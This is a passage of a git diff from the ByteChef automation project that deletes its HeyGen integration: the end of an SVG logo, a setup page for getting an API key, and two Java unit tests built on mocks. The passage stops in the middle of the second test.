-	C130.517700,100.880180 134.269043,99.034683 138.228714,97.965996 
-	C142.793030,96.734116 147.483261,95.968826 152.562088,95.003662 
-z"/>
-<path fill="#20E5CA" opacity="1.000000" stroke="none" 
-	d="
-M119.022362,117.015938 
-	C119.016014,115.944969 119.009659,114.874001 119.012329,113.401169 
-	C119.021347,112.999313 119.504501,112.997818 119.745773,112.996353 
-	C119.987038,112.994896 120.000183,113.000320 120.000229,113.401688 
-	C120.000900,114.867683 120.001518,115.932312 120.002136,116.996948 
-	C120.002136,116.996948 119.999840,117.000000 119.755325,117.002762 
-	C119.510811,117.005524 119.022362,117.015938 119.022362,117.015938 
-z"/>
-<path fill="#31E5BD" opacity="1.000000" stroke="none" 
-	d="
-M163.169525,87.319702 
-	C163.462051,87.112396 163.886475,87.103142 164.615219,87.193314 
-	C164.380173,87.367744 163.840790,87.442757 163.169525,87.319702 
-z"/>
-<path fill="#D6B0FE" opacity="1.000000" stroke="none" 
-	d="
-M110.973175,120.995239 
-	C110.980087,121.439850 110.986992,121.884453 110.990494,122.662476 
-	C106.861504,125.549225 102.652153,127.977989 98.628784,130.683350 
-	C91.511238,135.469254 84.128128,139.976074 77.611961,145.492493 
-	C74.262245,148.328278 71.144402,150.330399 66.891350,150.507584 
-	C66.049805,150.542633 65.181503,149.935669 64.162476,149.312393 
-	C64.785446,148.350464 65.571495,147.700912 67.030090,146.989334 
-	C73.568459,143.212952 79.455513,139.531601 85.293549,135.774094 
-	C90.190491,132.622284 95.536880,129.925018 99.736237,126.009689 
-	C103.141899,122.834366 106.379517,120.798546 110.973175,120.995239 
-z"/>
-<path fill="#48D66C" opacity="1.000000" stroke="none" 
-	d="
-M48.999840,92.643921 
-	C42.576050,95.321190 36.165661,97.616722 29.381010,99.941986 
-	C29.173344,99.189590 29.074043,97.988571 29.546680,97.688560 
-	C35.955875,93.620193 42.421963,89.639236 48.939087,85.745636 
-	C49.853443,85.199356 51.113934,85.232452 52.949177,84.963730 
-	C54.788876,83.619972 55.893597,82.309860 56.998322,80.999741 
-	C56.998322,80.999741 57.497971,80.998184 57.747765,80.997269 
-	C63.907681,78.256355 69.924667,75.721825 75.697899,72.718689 
-	C81.485741,69.707954 87.077347,66.307182 92.661201,62.922665 
-	C95.340050,61.298943 97.802612,59.318386 101.257263,56.864258 
-	C100.268936,59.245979 99.641800,60.757278 99.007034,62.633694 
-	C90.435204,67.799789 81.899765,72.653168 73.292732,77.376053 
-	C69.833328,79.274307 66.044304,80.610489 62.713123,82.694511 
-	C57.997086,85.644913 53.566078,89.050911 48.999840,92.643921 
-z"/>
-<path fill="#7BC7FC" opacity="1.000000" stroke="none" 
-	d="
-M108.038284,31.323957 
-	C108.057510,30.924711 108.527992,30.982176 108.757431,31.042377 
-	C111.814407,33.938530 114.641953,36.774483 117.737381,40.052898 
-	C118.004745,40.663727 118.004227,40.832092 118.003708,41.000458 
-	C117.668800,42.090866 117.333893,43.181274 116.997513,44.638462 
-	C111.006958,42.603317 109.048553,37.477173 108.038284,31.323957 
-z"/>
-<path fill="#7BC7FC" opacity="1.000000" stroke="none" 
-	d="
-M118.035919,47.345051 
-	C118.999985,48.089718 119.995995,49.180962 120.995544,50.636414 
-	C120.022011,49.897625 119.044937,48.794628 118.035919,47.345051 
-z"/>
-<path fill="#7BC7FC" opacity="1.000000" stroke="none" 
-	d="
-M104.492538,27.088936 
-	C104.838676,27.162437 104.899925,27.597086 104.863159,27.813934 
-	C104.114243,28.024488 103.402100,28.018196 102.331299,28.019855 
-	C101.342468,27.548859 100.712296,27.069914 100.068359,26.262886 
-	C101.418533,26.295013 102.782471,26.655224 104.492538,27.088936 
-z"/>
-<path fill="#7BC7FC" opacity="1.000000" stroke="none" 
-	d="
-M105.083107,29.238018 
-	C105.469772,28.924088 105.886940,28.971495 106.616501,29.053642 
-	C107.239235,29.537388 107.549576,29.986393 107.962173,30.689583 
-	C107.080818,30.495628 106.097221,30.047491 105.083107,29.238018 
-z"/>
-<path fill="#59CAFE" opacity="1.000000" stroke="none" 
-	d="
-M126.872467,70.855759 
-	C126.687019,70.905098 126.398872,70.712349 126.014236,70.275459 
-	C126.201759,70.225449 126.485771,70.419563 126.872467,70.855759 
-z"/>
-<path fill="#27D2A3" opacity="1.000000" stroke="none" 
-	d="
-M57.990616,59.006065 
-	C63.558205,55.639225 69.124695,52.270569 74.694557,48.907497 
-	C75.536407,48.399193 76.591568,48.092617 77.212471,47.394325 
-	C81.533661,42.534531 87.114807,39.897011 93.584854,38.283020 
-	C93.990387,38.658604 94.000305,38.829151 93.968842,39.351162 
-	C93.178757,40.514214 92.571480,41.569656 91.658997,42.098919 
-	C84.161224,46.447788 76.514465,50.547951 69.122917,55.067066 
-	C66.756783,56.513699 65.020523,58.990555 62.596565,60.996979 
-	C61.131081,60.999165 60.065113,61.000420 58.889267,60.780579 
-	C58.576435,60.284046 58.311417,60.096127 57.986748,59.748306 
-	C57.989159,59.500900 57.990616,59.006065 57.990616,59.006065 
-z"/>
-<path fill="#37CFB0" opacity="1.000000" stroke="none" 
-	d="
-M57.565224,59.006004 
-	C57.990616,59.006065 57.989159,59.500900 57.673988,59.888172 
-	C55.251751,61.378731 53.557583,64.313194 50.633247,61.791943 
-	C50.756065,61.421696 50.878887,61.051445 51.064301,60.395966 
-	C51.455078,60.000538 51.704163,59.794647 51.946407,59.257088 
-	C52.018665,59.021114 52.438568,58.967232 52.649601,58.958214 
-	C54.287033,58.968109 55.713428,58.987026 57.565224,59.006004 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M94.010216,38.999699 
-	C94.000305,38.829151 93.990387,38.658604 93.950089,38.233292 
-	C93.941437,37.790459 93.963165,37.602394 94.024178,37.132614 
-	C94.706818,37.336742 95.350189,37.822578 95.683495,38.648590 
-	C94.919029,38.992405 94.464622,38.996052 94.010216,38.999699 
-z"/>
-<path fill="#37CFB0" opacity="1.000000" stroke="none" 
-	d="
-M59.107857,50.464966 
-	C59.180679,50.182194 59.604553,50.115257 59.818916,50.105724 
-	C59.808327,50.628124 59.583370,51.160057 59.071030,51.786221 
-	C58.867443,51.502880 58.951237,51.125309 59.107857,50.464966 
-z"/>
-<path fill="#37CFB0" opacity="1.000000" stroke="none" 
-	d="
-M55.990005,54.371201 
-	C56.071671,54.073608 56.525810,54.010567 56.752769,53.978222 
-	C56.702141,54.531178 56.424549,55.116478 55.805321,55.762157 
-	C55.611908,55.437954 55.760120,55.053375 55.990005,54.371201 
-z"/>
-<path fill="#27D2A3" opacity="1.000000" stroke="none" 
-	d="
-M93.685562,35.120811 
-	C93.825714,35.026104 93.932152,35.502209 93.899841,35.744011 
-	C93.760162,35.729046 93.652786,35.472282 93.685562,35.120811 
-z"/>
-<path fill="#37CFB0" opacity="1.000000" stroke="none" 
-	d="
-M58.064198,52.845860 
-	C57.983761,52.623657 58.172535,52.320995 58.614525,51.919411 
-	C58.689632,52.135460 58.511520,52.450428 58.064198,52.845860 
-z"/>
-<path fill="#DBB0FF" opacity="1.000000" stroke="none" 
-	d="
-M110.982666,120.558800 
-	C106.379517,120.798546 103.141899,122.834366 99.736237,126.009689 
-	C95.536880,129.925018 90.190491,132.622284 85.293549,135.774094 
-	C79.455513,139.531601 73.568459,143.212952 67.351273,146.963043 
-	C70.726570,143.134521 74.254379,139.048523 78.240509,135.473572 
-	C81.656319,132.410095 85.607025,129.945343 89.302071,127.190193 
-	C92.182220,125.042664 95.032997,122.855759 97.948257,120.343475 
-	C98.905708,119.526146 99.811729,119.051689 101.229370,118.288315 
-	C103.160286,117.333076 104.579590,116.666756 105.998886,116.000427 
-	C106.322113,115.898766 106.583641,115.711121 107.212448,115.176903 
-	C108.094238,114.278145 108.547050,113.639992 108.999863,113.001831 
-	C108.999863,113.001831 109.499039,113.000916 109.748604,113.000275 
-	C110.325493,113.102814 110.589851,113.293343 110.903038,113.792816 
-	C111.007263,116.050392 110.999718,118.086380 110.982666,120.558800 
-z"/>
-<path fill="#48B8E4" opacity="1.000000" stroke="none" 
-	d="
-M104.938179,44.781281 
-	C104.929214,45.100430 104.469231,45.094753 104.246910,45.036125 
-	C103.970314,44.545708 103.916046,44.113918 103.880791,43.355370 
-	C104.248917,43.506454 104.598030,43.984295 104.938179,44.781281 
-z"/>
-<path fill="#48B8E4" opacity="1.000000" stroke="none" 
-	d="
-M103.939575,42.754532 
-	C103.596893,42.593937 103.255852,42.118359 102.914368,41.332405 
-	C103.256363,41.494541 103.598793,41.967045 103.939575,42.754532 
-z"/>
-<path fill="#48B8E4" opacity="1.000000" stroke="none" 
-	d="
-M100.946327,36.771957 
-	C100.943245,37.089706 100.522446,37.014500 100.317703,36.953846 
-	C100.053696,36.479351 99.994415,36.065510 99.922173,35.337471 
-	C100.255936,35.500252 100.602669,35.977230 100.946327,36.771957 
-z"/>
-<path fill="#1DCFAF" opacity="1.000000" stroke="none" 
-	d="
-M68.140182,40.817490 
-	C68.042686,40.609333 68.215187,40.281654 68.625031,39.798668 
-	C68.711639,39.994900 68.560921,40.346436 68.140182,40.817490 
-z"/>
-<path fill="#1DCFAF" opacity="1.000000" stroke="none" 
-	d="
-M67.099236,41.852463 
-	C67.029167,41.637894 67.218773,41.338623 67.669479,40.954689 
-	C67.740021,41.169270 67.549469,41.468517 67.099236,41.852463 
-z"/>
-<path fill="#40D680" opacity="1.000000" stroke="none" 
-	d="
-M99.322777,48.867043 
-	C100.193634,49.694290 101.064484,50.521534 101.980209,51.654243 
-	C99.946854,53.563744 98.024033,55.442581 95.762108,56.721817 
-	C88.051079,61.082802 80.220612,65.232590 72.217865,69.732040 
-	C66.874359,72.566940 61.679165,75.004387 56.642010,77.733528 
-	C51.250530,80.654648 46.007946,83.850586 40.348396,86.961411 
-	C40.261925,79.481491 47.837631,80.660088 51.578876,77.275314 
-	C52.965679,76.020645 54.472897,74.899086 56.213318,73.360313 
-	C56.501442,73.003807 57.000267,73.003540 57.199501,73.250717 
-	C59.598957,71.998489 61.799175,70.499092 64.248894,68.998802 
-	C64.498398,68.997910 64.997406,68.996643 65.373489,68.992805 
-	C73.286888,64.704887 80.941956,60.610561 88.302979,56.042404 
-	C91.207146,54.240116 93.455803,51.381577 96.417709,49.001335 
-	C97.662567,48.954796 98.492676,48.910919 99.322777,48.867043 
-z"/>
-<path fill="#4BD867" opacity="1.000000" stroke="none" 
-	d="
-M104.253395,60.312119 
-	C104.179626,61.311375 103.907501,62.057983 103.354019,62.935120 
-	C103.400124,62.063591 103.727577,61.061531 104.253395,60.312119 
-z"/>
-<path fill="#48D874" opacity="1.000000" stroke="none" 
-	d="
-M56.655334,81.033813 
-	C55.893597,82.309860 54.788876,83.619972 53.340515,84.962341 
-	C54.102032,83.685692 55.207188,82.376793 56.655334,81.033813 
-z"/>
-<path fill="#01E3FC" opacity="1.000000" stroke="none" 
-	d="
-M120.290131,170.287277 
-	C119.991478,170.081436 119.545479,169.981323 119.320518,169.945312 
-	C119.072250,159.918945 119.048943,149.928589 119.007889,139.470032 
-	C119.018356,138.837433 119.046570,138.673035 119.536903,138.257324 
-	C122.284271,137.815506 124.760185,138.127594 126.821159,137.345825 
-	C134.938065,134.266830 142.856232,130.654922 151.016586,127.707054 
-	C152.663742,127.112022 155.044754,128.548462 157.087418,129.048325 
-	C151.483017,137.787216 146.069550,146.656967 140.203293,155.216415 
-	C136.626434,160.435410 132.462677,165.270660 128.347519,170.094879 
-	C126.099091,172.730698 123.313286,173.046371 120.290131,170.287277 
-z"/>
-<path fill="#01E4F2" opacity="1.000000" stroke="none" 
-	d="
-M157.393066,128.895645 
-	C155.044754,128.548462 152.663742,127.112022 151.016586,127.707054 
-	C142.856232,130.654922 134.938065,134.266830 126.821159,137.345825 
-	C124.760185,138.127594 122.284271,137.815506 119.577774,138.010483 
-	C119.128967,135.642502 119.101395,133.270081 119.511993,130.451065 
-	C120.940094,129.953888 121.988815,130.099319 122.910965,129.822723 
-	C133.446960,126.662430 144.110458,123.833832 154.406509,120.017227 
-	C158.046692,118.667870 162.973953,118.571907 165.340820,114.001511 
-	C166.135910,114.018517 166.590332,114.033714 167.044754,114.048920 
-	C163.929413,118.946938 160.814056,123.844955 157.393066,128.895645 
-z"/>
-<path fill="#01E3E3" opacity="1.000000" stroke="none" 
-	d="
-M167.033081,114.038956 
-	C166.590332,114.033714 166.135910,114.018517 165.191223,113.695938 
-	C162.772369,110.035095 160.220657,111.680809 157.853928,112.618050 
-	C153.832733,114.210442 149.965729,116.270470 145.848526,117.525993 
-	C136.997620,120.225029 128.028748,122.537170 119.108162,125.007690 
-	C119.082657,123.940735 119.057152,122.873779 119.277527,121.405075 
-	C119.523407,121.003334 119.998825,120.999878 119.998825,120.999878 
-	C128.586105,117.742058 137.163849,114.458641 145.769531,111.250183 
-	C147.306870,110.677017 148.938583,110.225075 150.563324,110.041862 
-	C156.592346,109.362007 162.404190,108.259834 166.729248,102.677879 
-	C168.866028,104.356201 170.771759,105.853043 172.824677,107.645844 
-	C172.971878,107.941803 172.940414,108.423027 172.903229,108.660751 
-	C172.099945,109.529732 171.333832,110.160980 170.231384,110.565010 
-	C167.031540,108.874107 167.031540,108.874107 167.036392,114.037132 
-	C167.036392,114.037132 167.021408,114.028992 167.033081,114.038956 
-z"/>
-<path fill="#00E4E9" opacity="1.000000" stroke="none" 
-	d="
-M167.374634,114.005844 
-	C167.031540,108.874107 167.031540,108.874107 169.963348,110.698090 
-	C169.258698,112.030449 168.485794,113.002502 167.374634,114.005844 
-z"/>
-<path fill="#8EC1FE" opacity="1.000000" stroke="none" 
-	d="
-M142.996674,73.623245 
-	C138.568161,75.002548 138.117020,71.273720 136.697403,68.694580 
-	C134.136871,64.042656 131.574997,59.391476 129.013824,54.364147 
-	C130.008667,54.494404 131.407654,54.738232 131.933319,55.548584 
-	C135.718704,61.383972 139.327026,67.334206 142.996674,73.623245 
-z"/>
-<path fill="#8EC1FE" opacity="1.000000" stroke="none" 
-	d="
-M118.312378,41.152901 
-	C118.004227,40.832092 118.004745,40.663727 118.009995,40.242729 
-	C118.758492,39.994289 119.502243,39.998486 120.617867,40.008766 
-	C121.449722,40.335152 121.909714,40.655457 122.660126,41.013008 
-	C124.944351,44.464317 126.938133,47.878376 128.966263,51.645805 
-	C126.677444,50.203266 124.170242,48.594109 122.093781,46.547855 
-	C120.632858,45.108185 119.757744,43.074047 118.312378,41.152901 
-z"/>
-<path fill="#37D58E" opacity="1.000000" stroke="none" 
-	d="
-M57.000267,73.003540 
-	C57.000267,73.003540 56.501442,73.003807 56.252064,73.004395 
-	C52.586540,74.333656 49.170395,75.662338 45.376823,76.996582 
-	C45.910183,75.537361 46.820972,74.072586 48.197212,72.300964 
-	C49.105854,71.991508 49.549034,71.988914 50.360035,71.986038 
-	C52.150612,70.992035 53.573368,69.998306 55.255974,68.896484 
-	C56.011578,68.524208 56.507339,68.260033 57.360886,67.958054 
-	C62.145885,64.947586 66.573097,61.974934 71.250381,59.001495 
-	C71.667175,59.000172 71.833893,58.999630 72.340584,58.964954 
-	C73.453445,57.954899 74.226326,56.978977 75.206314,55.723961 
-	C78.609550,53.962425 81.805687,52.479984 85.321976,50.956432 
-	C86.094292,50.277493 86.546440,49.639664 87.249199,49.000790 
-	C87.666885,48.999172 87.833954,48.998592 88.382553,48.998085 
-	C90.509262,47.666302 92.254440,46.334450 94.332672,45.001499 
-	C95.109802,44.998947 95.553879,44.997490 96.358398,44.993778 
-	C97.199089,44.971458 97.679337,44.951393 98.159576,44.931332 
-	C98.522896,46.005562 98.886215,47.079796 99.286156,48.510536 
-	C98.492676,48.910919 97.662567,48.954796 96.059113,49.035980 
-	C85.611160,54.864231 75.920258,60.628448 66.296494,66.502670 
-	C65.611313,66.920898 65.418930,68.146469 64.997406,68.996643 
-	C64.997406,68.996643 64.498398,68.997910 63.886124,69.002609 
-	C61.182659,70.339386 59.091465,71.671463 57.000267,73.003540 
-z"/>
-<path fill="#2ECFA2" opacity="1.000000" stroke="none" 
-	d="
-M49.992218,71.986313 
-	C49.549034,71.988914 49.105854,71.991508 48.330219,71.995728 
-	C47.010246,71.153816 46.022724,70.310303 44.977112,69.120499 
-	C46.649624,66.571556 48.380230,64.368896 50.372040,61.979088 
-	C53.557583,64.313194 55.251751,61.378731 57.671577,60.135578 
-	C58.311417,60.096127 58.576435,60.284046 58.787273,61.042358 
-	C58.529476,62.018013 58.263794,62.510788 57.753906,63.169933 
-	C57.339184,63.888905 57.168663,64.441505 56.642441,65.031563 
-	C54.191597,66.714554 52.096458,68.360100 49.999702,70.335823 
-	C49.996124,71.106110 49.994171,71.546211 49.992218,71.986313 
-z"/>
-<path fill="#2FD39A" opacity="1.000000" stroke="none" 
-	d="
-M95.997955,44.996033 
-	C95.553879,44.997490 95.109802,44.998947 93.978661,45.036289 
-	C91.528076,46.380787 89.764549,47.689400 88.001030,48.998016 
-	C87.833954,48.998592 87.666885,48.999172 86.929062,49.042007 
-	C85.906151,49.722023 85.453987,50.359783 85.001816,50.997543 
-	C81.805687,52.479984 78.609550,53.962425 74.866295,55.757523 
-	C73.546318,57.046482 72.773460,58.022781 72.000610,58.999084 
-	C71.833893,58.999630 71.667175,59.000172 70.878296,59.041676 
-	C67.838036,59.722420 65.419937,60.362202 63.000893,61.000969 
-	C62.999954,60.999954 62.996082,60.996056 62.996078,60.996056 
-	C65.020523,58.990555 66.756783,56.513699 69.122917,55.067066 
-	C76.514465,50.547951 84.161224,46.447788 91.658997,42.098919 
-	C92.571480,41.569656 93.178757,40.514214 93.968842,39.351162 
-	C94.464622,38.996052 94.919029,38.992405 95.714264,38.972515 
-	C96.055084,38.956268 96.021461,38.969894 96.027771,39.251602 
-	C96.309731,40.013847 96.585388,40.494389 96.861038,40.974930 
-	C96.944550,41.401451 97.028061,41.827976 96.878998,42.744431 
-	C96.430260,43.821587 96.214104,44.408810 95.997955,44.996033 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M96.358398,44.993778 
-	C96.214104,44.408810 96.430260,43.821587 96.923218,43.068077 
-	C97.492577,43.379074 97.785133,43.856354 98.118629,44.632484 
-	C97.679337,44.951393 97.199089,44.971458 96.358398,44.993778 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M96.902130,40.681877 
-	C96.585388,40.494389 96.309731,40.013847 96.036133,39.241737 
-	C96.339867,39.429718 96.641541,39.909271 96.902130,40.681877 
-z"/>
-<path fill="#00E4E9" opacity="1.000000" stroke="none" 
-	d="
-M119.076012,125.423721 
-	C128.028748,122.537170 136.997620,120.225029 145.848526,117.525993 
-	C149.965729,116.270470 153.832733,114.210442 157.853928,112.618050 
-	C160.220657,111.680809 162.772369,110.035095 164.850555,113.694122 
-	C162.973953,118.571907 158.046692,118.667870 154.406509,120.017227 
-	C144.110458,123.833832 133.446960,126.662430 122.910965,129.822723 
-	C121.988815,130.099319 120.940094,129.953888 119.545135,130.008453 
-	C119.108025,128.621536 119.075943,127.230644 119.076012,125.423721 
-z"/>
-<path fill="#11DCE7" opacity="1.000000" stroke="none" 
-	d="
-M119.998611,120.600357 
-	C119.998825,120.999878 119.523407,121.003334 119.286751,121.004730 
-	C119.036568,119.941292 119.023041,118.876450 119.015945,117.413773 
-	C119.022362,117.015938 119.510811,117.005524 119.755066,117.004890 
-	C119.999016,118.069786 119.998703,119.135315 119.998611,120.600357 
-z"/>
-<path fill="#DFADFE" opacity="1.000000" stroke="none" 
-	d="
-M105.603409,116.000320 
-	C104.579590,116.666756 103.160286,117.333076 101.370651,117.999237 
-	C102.402855,117.332794 103.805389,116.666504 105.603409,116.000320 
-z"/>
-<path fill="#DFADFE" opacity="1.000000" stroke="none" 
-	d="
-M108.679367,113.042877 
-	C108.547050,113.639992 108.094238,114.278145 107.321014,114.957550 
-	C107.453362,114.360497 107.906105,113.722206 108.679367,113.042877 
-z"/>
-<path fill="#0AE4D4" opacity="1.000000" stroke="none" 
-	d="
-M120.354782,116.961746 
-	C120.001518,115.932312 120.000900,114.867683 120.005051,113.403931 
-	C125.558144,110.720940 131.050613,108.287544 136.667984,106.188408 
-	C144.967514,103.086990 153.319397,100.112640 161.733490,97.340660 
-	C163.688065,96.696747 165.983337,97.087051 168.561447,97.002029 
-	C167.407150,101.206474 163.993881,100.960136 160.187271,101.746796 
-	C152.474121,103.340782 145.023056,106.392242 137.624191,109.256775 
-	C131.859543,111.488609 126.337357,114.346748 120.354782,116.961746 
-z"/>
-<path fill="#2FD39A" opacity="1.000000" stroke="none" 
-	d="
-M57.998116,63.003563 
-	C58.263794,62.510788 58.529476,62.018013 58.897152,61.263458 
-	C60.065113,61.000420 61.131081,60.999165 62.596565,60.996983 
-	C62.996082,60.996056 62.999954,60.999954 62.929077,61.369919 
-	C61.238174,62.161106 59.618145,62.582333 57.998116,63.003563 
-z"/>
-<path fill="#3CD687" opacity="1.000000" stroke="none" 
-	d="
-M65.373489,68.992805 
-	C65.418930,68.146469 65.611313,66.920898 66.296494,66.502670 
-	C75.920258,60.628448 85.611160,54.864231 95.644356,49.038643 
-	C93.455803,51.381577 91.207146,54.240116 88.302979,56.042404 
-	C80.941956,60.610561 73.286888,64.704887 65.373489,68.992805 
-z"/>
-<path fill="#3CD687" opacity="1.000000" stroke="none" 
-	d="
-M57.199505,73.250717 
-	C59.091465,71.671463 61.182659,70.339386 63.636620,69.003502 
-	C61.799175,70.499092 59.598957,71.998489 57.199505,73.250717 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M57.753910,63.169933 
-	C59.618145,62.582333 61.238174,62.161106 62.930016,61.370934 
-	C65.419937,60.362202 67.838036,59.722420 70.628227,59.042458 
-	C66.573097,61.974934 62.145885,64.947586 57.360119,67.583000 
-	C57.000423,66.495209 56.999283,65.744659 56.998142,64.994110 
-	C57.168663,64.441505 57.339184,63.888905 57.753910,63.169933 
-z"/>
-<path fill="#2FD39A" opacity="1.000000" stroke="none" 
-	d="
-M56.642441,65.031563 
-	C56.999283,65.744659 57.000423,66.495209 57.002335,67.620811 
-	C56.507339,68.260033 56.011578,68.524208 54.891281,68.934174 
-	C52.844936,69.388527 51.423130,69.697090 50.001320,70.005646 
-	C52.096458,68.360100 54.191597,66.714554 56.642441,65.031563 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M88.382553,48.998085 
-	C89.764549,47.689400 91.528076,46.380787 93.645607,45.037384 
-	C92.254440,46.334450 90.509262,47.666302 88.382553,48.998085 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M49.999702,70.335823 
-	C51.423130,69.697090 52.844936,69.388527 54.631435,69.042274 
-	C53.573368,69.998306 52.150612,70.992035 50.360035,71.986038 
-	C49.994171,71.546211 49.996124,71.106110 49.999702,70.335823 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M72.340584,58.964954 
-	C72.773460,58.022781 73.546318,57.046482 74.659187,56.036617 
-	C74.226326,56.978977 73.453445,57.954899 72.340584,58.964954 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M85.321976,50.956432 
-	C85.453987,50.359783 85.906151,49.722023 86.678452,49.043045 
-	C86.546440,49.639664 86.094292,50.277493 85.321976,50.956432 
-z"/>
-</svg>
\ No newline at end of file
diff --git a/server/libs/modules/components/heygen/src/main/resources/connection.mdx b/server/libs/modules/components/heygen/src/main/resources/connection.mdx
deleted file mode 100644
index 089ed289747..00000000000
--- a/server/libs/modules/components/heygen/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,12 +0,0 @@
-## Connection Setup
-
-1. Navigate to your dashboard.
-2. Go to your account and click on **Settings**.
-3. Click on **Usage & Billing**.
-4. Click on **HeyGen API**.
-5. Under API Token, click **Activate**.
-6. Copy your API key and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/iZfVk8BtyrmPnbDwfZmh?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/HeyGenComponentHandlerTest.java b/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/HeyGenComponentHandlerTest.java
deleted file mode 100644
index 5692c05ed8a..00000000000
--- a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/HeyGenComponentHandlerTest.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen;
-
-import com.bytechef.test.jsonasssert.JsonFileAssert;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Marija Horvat
- */
-class HeyGenComponentHandlerTest {
-
-    @Test
-    void testGetComponentDefinition() {
-        JsonFileAssert.assertEquals("definition/heygen_v1.json", new HeyGenComponentHandler().getDefinition());
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenGenerateVideoFromTemplateActionTest.java b/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenGenerateVideoFromTemplateActionTest.java
deleted file mode 100644
index f23cb9ef302..00000000000
--- a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenGenerateVideoFromTemplateActionTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.action;
-
-import static com.bytechef.component.heygen.constant.HeyGenConstants.CAPTION;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.ENABLE_SHARING;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.FOLDER_ID;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.TEMPLATE_ID;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class HeyGenGenerateVideoFromTemplateActionTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Object mockedObject = mock(Object.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(TEMPLATE_ID, "1", FOLDER_ID, "2", CAPTION, false, ENABLE_SHARING, false));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of("data", mockedObject));
-
-        Object result = HeyGenGenerateVideoFromTemplateAction.perform(
-            mockedParameters, null, mockedContext);
-
-        assertEquals(mockedObject, result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
